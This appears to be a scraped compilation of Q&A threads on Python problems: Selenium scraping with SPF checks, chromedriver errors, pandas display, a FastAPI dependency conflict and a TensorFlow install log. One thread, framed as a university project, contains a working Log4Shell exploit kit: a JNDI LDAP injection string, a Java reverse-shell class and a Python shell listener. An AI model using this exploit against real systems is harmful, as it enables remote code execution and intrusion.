driver.get('https://www.google.com/search?q={}&num={}&hl={}'.format(search_term, number_results+1, language_code))
print('https://www.google.com/search?q={}&num={}&hl={}'.format(search_term, number_results+1, language_code))
checkCaptchaPresent(driver)
urls = driver.find_elements_by_xpath("//div[@id='search']/div/div/div[@class='g']//div[@class='yuRUbf']/a")
websiteLink = []
for url in urls:
scrappedURL = url.get_attribute('href')
print(scrappedURL)
websiteLink.append(scrappedURL)
filteredURL = []
for i, url in enumerate(websiteLink):
match = re.compile("^http.*com[/]")
matchedURL = match.findall(url)
filteredURL += matchedURL
filteredURL = [url.replace('https:', '').replace('http:', '').replace('/', '') for url in filteredURL]
noSPFURL = []
with ThreadPoolExecutor(max_workers=int(10)) as pool:
for res in pool.map(requestSPF, filteredURL):
noSPFURL += res
print(Style.RESET_ALL)
driver.close()
fileName = datetime.now().strftime("%d%m%Y-%H%M")
print("Saving reports: report/{}_AllSite_{}.txt".format(''.join(e for e in search_term if e.isalnum()), fileName))
with open('report/{}_AllSite_{}.txt'.format(''.join(e for e in search_term if e.isalnum()), fileName), 'w') as filehandle:
for link in websiteLink:
filehandle.write("{}\n".format(link))
print("Saving reports: report/{}_NoSPF_{}.txt".format(''.join(e for e in search_term if e.isalnum()), fileName))
with open('report/{}_NoSPF_{}.txt'.format(''.join(e for e in search_term if e.isalnum()), fileName), 'w') as filehandle:
for link in noSPFURL:
filehandle.write("{}\n".format(link))
The output message is as follows:
====== WebDriver manager ======
Could not get version for google-chrome with the command: powershell "$ErrorActionPreference='silentlycontinue' ; (Get-Item -Path "$env:PROGRAMFILES\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion ; if (-not $? -or $? -match $error) { (Get-Item -Path "$env:PROGRAMFILES(x86)\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion } if (-not $? -or $? -match $error) { (Get-Item -Path "$env:LOCALAPPDATA\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion } if (-not $? -or $? -match $error) { reg query "HKCU\SOFTWARE\Google\Chrome\BLBeacon" /v version } if (-not $? -or $? -match $error) { reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" /v version }"
Current google-chrome version is UNKNOWN
Get LATEST chromedriver version for UNKNOWN google-chrome
Trying to download new driver from https://chromedriver.storage.googleapis.com/98.0.4758.102/chromedriver_win32.zip
Driver has been saved in cache [C:\Users\dell\.wdm\drivers\chromedriver\win32\98.0.4758.102]
Enter search term:
ANSWER
Answered 2022-Feb-22 at 23:15This error message...
====== WebDriver manager ======
Could not get version for google-chrome with the command: powershell "$ErrorActionPreference='silentlycontinue' ; (Get-Item -Path "$env:PROGRAMFILES\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion ; if (-not $? -or $? -match $error) { (Get-Item -Path "$env:PROGRAMFILES(x86)\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion } if (-not $? -or $? -match $error) { (Get-Item -Path "$env:LOCALAPPDATA\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion } if (-not $? -or $? -match $error) { reg query "HKCU\SOFTWARE\Google\Chrome\BLBeacon" /v version } if (-not $? -or $? -match $error) { reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" /v version }"
Current google-chrome version is UNKNOWN
Get LATEST chromedriver version for UNKNOWN google-chrome
...implies that the Webdriver Manager was unable to retrieve the version of the installed google-chrome browser within the system through any of the below powershell commands and registry query:
- Get-Item -Path "$env:PROGRAMFILES\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion
Get-Item -Path "$env:PROGRAMFILES(x86)\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion
Get-Item -Path "$env:LOCALAPPDATA\Google\Chrome\Application\chrome.exe").VersionInfo.FileVersion
reg query "HKCU\SOFTWARE\Google\Chrome\BLBeacon" /v version
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" /v version
As a result, Webdriver Manager downloaded the latest version of ChromeDriver i.e. v98.0.4758.102
SolutionUninstall the older version of Google Chrome and reinstall a fresh and updated version of Google Chrome at the default location.
QUESTION
I've been trying to make a minesweeper board on Spyder, but I've encountered a problem with my pandas data frame. The values in the grid are colored (using colorama).
the program:
import numpy
import pandas
from colorama import Fore
def color(col, mot):
if col=="red":
mot = Fore.RED + str(mot) + Fore.RESET
if col=="white":
mot = Fore.WHITE + str(mot) + Fore.RESET
if col =="blue":
mot = Fore.BLUE + str(mot) + Fore.RESET
if col == "green":
mot = Fore.GREEN + str(mot) + Fore.RESET
return mot
grid = [['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m'], ['\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m', '\x1b[37m.\x1b[39m']]
x = numpy.array(grid)
row_labels = ['L1', 'L2', 'L3', 'L4','L5','L6','L7','L8','L9','L10']
column_labels = [color("white",'C1'), color("white",'C2'), color("white",'C3'), color("white",'C4'),color("white",'C5'),color("white",'C6'),color("white",'C7'),color("white",'C8'),color("white",'C9'),color("white",'C10')]
df = pandas.DataFrame(x,columns=column_labels, index=row_labels)
print("-------------" + color("red", "Demineur") + "-------------")
print()
print(df)
print()
print("----------------------------------")
Using visual studio code : the dataframe on VSC
Using spyder : the same dataframe on spyder
I've already tried to use :
pandas.set_option('display.max_rows', None, 'display.max_columns', None)
but didn't work
How can I get the same result that I get on VSC, on Spyder ?
Let me know if you want more information.
Thanks, Ikseno
ANSWER
Answered 2022-Feb-16 at 19:14Try these settings right after your pandas.DataFrame call:
df = pandas.DataFrame(x,columns=column_labels, index=row_labels)
pandas.set_option('display.max_rows', 500)
pandas.set_option('display.max_columns', 500)
pandas.set_option('display.width', 1000)
QUESTION
C:\Users\super\Desktop\Work\Charges2> uvicorn main:app --reload
Console Status:
PS C:\Users\super\Desktop\Work\Charges2> uvicorn main:app --reload
INFO: Will watch for changes in these directories: ['C:\\Users\\super\\Desktop\\Work\\Charges2']
INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
INFO: Started reloader process [69628] using statreload
WARNING: The --reload flag should not be used in production on Windows.
INFO: Started server process [72184]
INFO: Waiting for application startup.
INFO: Application startup complete.
INFO: 127.0.0.1:61648 - "GET / HTTP/1.1" 500 Internal Server Error
ERROR: Exception in ASGI application
Traceback (most recent call last):
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\uvicorn\protocols\http\h11_impl.py", line 364, in run_asgi
result = await app(self.scope, self.receive, self.send)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\uvicorn\middleware\proxy_headers.py", line 75, in __call__
return await self.app(scope, receive, send)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\fastapi\applications.py", line 212, in __call__
await super().__call__(scope, receive, send)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\applications.py", line 119, in __call__
await self.middleware_stack(scope, receive, send)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\middleware\errors.py", line 181, in __call__
raise exc
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\middleware\errors.py", line 159, in __call__
await self.app(scope, receive, _send)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\exceptions.py", line 87, in __call__
raise exc
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\exceptions.py", line 76, in __call__
await self.app(scope, receive, sender)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\routing.py", line 659, in __call__
await route.handle(scope, receive, send)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\responses.py", line 50, in __init__
self.init_headers(headers)
File "C:\Users\super\Desktop\Work\Charges2\venv\lib\site-packages\starlette\responses.py", line 77, in init_headers
and not (self.status_code < 200 or self.status_code in (204, 304))
TypeError: '<' not supported between instances of 'NoneType' and 'int'
Code (main.py):
from fastapi import FastAPI
app = FastAPI()
@app.get("/")
async def root():
return {"message": "Hello World"}
anyio==3.5.0
asgiref==3.5.0
click==8.0.3
colorama==0.4.4
fastapi==0.73.0
h11==0.13.0
idna==3.3
pydantic==1.9.0
sniffio==1.2.0
starlette==0.18.0
typing_extensions==4.1.1
uvicorn==0.17.4
Using Python 3.10.2
ANSWER
Answered 2022-Feb-16 at 18:02I get this error when trying to install your packages with pip install -r requirements.txt
:
ERROR: Cannot install -r requirements.txt (line 5) and starlette==0.18.0
because these package versions have conflicting dependencies.
The conflict is caused by:
The user requested starlette==0.18.0
fastapi 0.73.0 depends on starlette==0.17.1
There must be some conflict between your dependencies. Try making a clean install of FastAPI.
If you suspect that there's a version issue, try installing your requirements from scratch.
If you want to prevent such conflicts in the future, a popular solution is to use a dependency management tool, such as pipenv
or poetry
.
QUESTION
for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell. Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why. I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd ..
not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
ANSWER
Answered 2022-Feb-11 at 11:36Now works. I added time.sleep(0.2)
after each sendall in rce.py
QUESTION
I have pretrained model for object detection (Google Colab + TensorFlow) inside Google Colab and I run it two-three times per week for new images I have and everything was fine for the last year till this week. Now when I try to run model I have this message:
Graph execution error:
2 root error(s) found.
(0) UNIMPLEMENTED: DNN library is not found.
[[{{node functional_1/conv1_conv/Conv2D}}]]
[[StatefulPartitionedCall/SecondStagePostprocessor/BatchMultiClassNonMaxSuppression/MultiClassNonMaxSuppression/Reshape_5/_126]]
(1) UNIMPLEMENTED: DNN library is not found.
[[{{node functional_1/conv1_conv/Conv2D}}]]
0 successful operations.
0 derived errors ignored. [Op:__inference_restored_function_body_27380] ***
Never happended before.
Before I can run my model I have to install Tensor Flow object detection API with this command:
import os
os.chdir('/project/models/research')
!protoc object_detection/protos/*.proto --python_out=.
!cp object_detection/packages/tf2/setup.py .
!python -m pip install .
This is the output of command:
Processing /content/gdrive/MyDrive/models/research
DEPRECATION: A future pip version will change local packages to be built in-place without first copying to a temporary directory. We recommend you use --use-feature=in-tree-build to test your packages with this new behavior before it becomes the default.
pip 21.3 will remove support for this functionality. You can find discussion regarding this at https://github.com/pypa/pip/issues/7555.
Collecting avro-python3
Downloading avro-python3-1.10.2.tar.gz (38 kB)
Collecting apache-beam
Downloading apache_beam-2.35.0-cp37-cp37m-manylinux2010_x86_64.whl (9.9 MB)
|████████████████████████████████| 9.9 MB 1.6 MB/s
Requirement already satisfied: pillow in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (7.1.2)
Requirement already satisfied: lxml in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (4.2.6)
Requirement already satisfied: matplotlib in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (3.2.2)
Requirement already satisfied: Cython in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (0.29.27)
Requirement already satisfied: contextlib2 in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (0.5.5)
Collecting tf-slim
Downloading tf_slim-1.1.0-py2.py3-none-any.whl (352 kB)
|████████████████████████████████| 352 kB 50.5 MB/s
Requirement already satisfied: six in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (1.15.0)
Requirement already satisfied: pycocotools in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (2.0.4)
Collecting lvis
Downloading lvis-0.5.3-py3-none-any.whl (14 kB)
Requirement already satisfied: scipy in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (1.4.1)
Requirement already satisfied: pandas in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (1.3.5)
Collecting tf-models-official>=2.5.1
Downloading tf_models_official-2.8.0-py2.py3-none-any.whl (2.2 MB)
|████████████████████████████████| 2.2 MB 38.3 MB/s
Collecting tensorflow_io
Downloading tensorflow_io-0.24.0-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (23.4 MB)
|████████████████████████████████| 23.4 MB 1.7 MB/s
Requirement already satisfied: keras in /usr/local/lib/python3.7/dist-packages (from object-detection==0.1) (2.7.0)
Collecting opencv-python-headless
Downloading opencv_python_headless-4.5.5.62-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (47.7 MB)
|████████████████████████████████| 47.7 MB 74 kB/s
Collecting sacrebleu
Downloading sacrebleu-2.0.0-py3-none-any.whl (90 kB)
|████████████████████████████████| 90 kB 10.4 MB/s
Requirement already satisfied: kaggle>=1.3.9 in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (1.5.12)
Requirement already satisfied: psutil>=5.4.3 in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (5.4.8)
Requirement already satisfied: oauth2client in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (4.1.3)
Collecting tensorflow-addons
Downloading tensorflow_addons-0.15.0-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (1.1 MB)
|████████████████████████████████| 1.1 MB 37.8 MB/s
Requirement already satisfied: gin-config in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (0.5.0)
Requirement already satisfied: tensorflow-datasets in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (4.0.1)
Collecting sentencepiece
Downloading sentencepiece-0.1.96-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.2 MB)
|████████████████████████████████| 1.2 MB 37.5 MB/s
Collecting tensorflow-model-optimization>=0.4.1
Downloading tensorflow_model_optimization-0.7.0-py2.py3-none-any.whl (213 kB)
|████████████████████████████████| 213 kB 42.7 MB/s
Collecting pyyaml<6.0,>=5.1
Downloading PyYAML-5.4.1-cp37-cp37m-manylinux1_x86_64.whl (636 kB)
|████████████████████████████████| 636 kB 53.3 MB/s
Collecting tensorflow-text~=2.8.0
Downloading tensorflow_text-2.8.1-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (4.9 MB)
|████████████████████████████████| 4.9 MB 46.1 MB/s
Requirement already satisfied: google-api-python-client>=1.6.7 in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (1.12.10)
Requirement already satisfied: numpy>=1.15.4 in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (1.19.5)
Requirement already satisfied: tensorflow-hub>=0.6.0 in /usr/local/lib/python3.7/dist-packages (from tf-models-official>=2.5.1->object-detection==0.1) (0.12.0)
Collecting seqeval
Downloading seqeval-1.2.2.tar.gz (43 kB)
|████████████████████████████████| 43 kB 2.1 MB/s
Collecting tensorflow~=2.8.0
Downloading tensorflow-2.8.0-cp37-cp37m-manylinux2010_x86_64.whl (497.5 MB)
|████████████████████████████████| 497.5 MB 28 kB/s
Collecting py-cpuinfo>=3.3.0
Downloading py-cpuinfo-8.0.0.tar.gz (99 kB)
|████████████████████████████████| 99 kB 10.1 MB/s
Requirement already satisfied: google-auth<3dev,>=1.16.0 in /usr/local/lib/python3.7/dist-packages (from google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (1.35.0)
Requirement already satisfied: uritemplate<4dev,>=3.0.0 in /usr/local/lib/python3.7/dist-packages (from google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (3.0.1)
Requirement already satisfied: httplib2<1dev,>=0.15.0 in /usr/local/lib/python3.7/dist-packages (from google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (0.17.4)
Requirement already satisfied: google-auth-httplib2>=0.0.3 in /usr/local/lib/python3.7/dist-packages (from google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (0.0.4)
Requirement already satisfied: google-api-core<3dev,>=1.21.0 in /usr/local/lib/python3.7/dist-packages (from google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (1.26.3)
Requirement already satisfied: setuptools>=40.3.0 in /usr/local/lib/python3.7/dist-packages (from google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (57.4.0)
Requirement already satisfied: pytz in /usr/local/lib/python3.7/dist-packages (from google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (2018.9)
Requirement already satisfied: googleapis-common-protos<2.0dev,>=1.6.0 in /usr/local/lib/python3.7/dist-packages (from google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (1.54.0)
Requirement already satisfied: requests<3.0.0dev,>=2.18.0 in /usr/local/lib/python3.7/dist-packages (from google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (2.23.0)
Requirement already satisfied: packaging>=14.3 in /usr/local/lib/python3.7/dist-packages (from google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (21.3)
Requirement already satisfied: protobuf>=3.12.0 in /usr/local/lib/python3.7/dist-packages (from google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (3.17.3)
Requirement already satisfied: pyasn1-modules>=0.2.1 in /usr/local/lib/python3.7/dist-packages (from google-auth<3dev,>=1.16.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (0.2.8)
Requirement already satisfied: rsa<5,>=3.1.4 in /usr/local/lib/python3.7/dist-packages (from google-auth<3dev,>=1.16.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (4.8)
Requirement already satisfied: cachetools<5.0,>=2.0.0 in /usr/local/lib/python3.7/dist-packages (from google-auth<3dev,>=1.16.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (4.2.4)
Requirement already satisfied: certifi in /usr/local/lib/python3.7/dist-packages (from kaggle>=1.3.9->tf-models-official>=2.5.1->object-detection==0.1) (2021.10.8)
Requirement already satisfied: urllib3 in /usr/local/lib/python3.7/dist-packages (from kaggle>=1.3.9->tf-models-official>=2.5.1->object-detection==0.1) (1.24.3)
Requirement already satisfied: python-dateutil in /usr/local/lib/python3.7/dist-packages (from kaggle>=1.3.9->tf-models-official>=2.5.1->object-detection==0.1) (2.8.2)
Requirement already satisfied: tqdm in /usr/local/lib/python3.7/dist-packages (from kaggle>=1.3.9->tf-models-official>=2.5.1->object-detection==0.1) (4.62.3)
Requirement already satisfied: python-slugify in /usr/local/lib/python3.7/dist-packages (from kaggle>=1.3.9->tf-models-official>=2.5.1->object-detection==0.1) (5.0.2)
Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=14.3->google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (3.0.7)
Requirement already satisfied: pyasn1<0.5.0,>=0.4.6 in /usr/local/lib/python3.7/dist-packages (from pyasn1-modules>=0.2.1->google-auth<3dev,>=1.16.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (0.4.8)
Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0dev,>=2.18.0->google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (2.10)
Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests<3.0.0dev,>=2.18.0->google-api-core<3dev,>=1.21.0->google-api-python-client>=1.6.7->tf-models-official>=2.5.1->object-detection==0.1) (3.0.4)
Requirement already satisfied: termcolor>=1.1.0 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (1.1.0)
Requirement already satisfied: libclang>=9.0.1 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (13.0.0)
Requirement already satisfied: h5py>=2.9.0 in /usr/local/lib/python3.7/dist-packages (from tensorflow~=2.8.0->tf-models-official>=2.5.1->object-detection==0.1) (3.1.0)
